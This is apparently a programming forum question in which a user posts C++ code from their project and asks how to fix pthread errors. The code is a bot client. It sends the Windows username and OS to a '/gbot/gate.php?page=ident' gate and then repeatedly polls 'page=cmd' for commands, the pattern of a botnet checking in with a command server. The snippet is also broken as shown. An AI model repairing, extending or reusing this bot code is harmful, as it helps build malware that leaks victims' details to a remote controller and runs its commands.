void* sendFirstReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=ident&os=");
if(getenv("windir") != NULL){
mybuf += "windows&username=";
mybuf += getenv("username");
mybuf += "&version=win";
mybuf += "\r\n\r\n";
}
else
mybuf += "linux\r\n\r\n";
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
void* sendSecReq(SOCKET Socket){
char buffer[10000];
string mybuf("GET /gbot/gate.php?page=cmd\r\n\r\n");
send(Socket, mybuf.c_str(), mybuf.length(), 0);
recv(Socket, buffer, 10000, 0);
cout << buffer;
}
while(true)
{
pthread_t t1;
pthread_t t2;
pthread_create(&t1, NULL, &sendFirstReq, NULL);
pthread_create(&t1, NULL, &sendSecReq, NULL);
_sleep(5000);
}
This is a piece of code from my project. I want to make multithreading, but I get bunch of errors. First of all, the void* function must get a void* arg, so I can I send SOCKET throgh? And another error is:
initializing argument 3 of `int pthread_create(pthread_t*, pthread_attr_t_* const*, void*()(void), void*)'
And I don't know how to fix it, thanks for your help.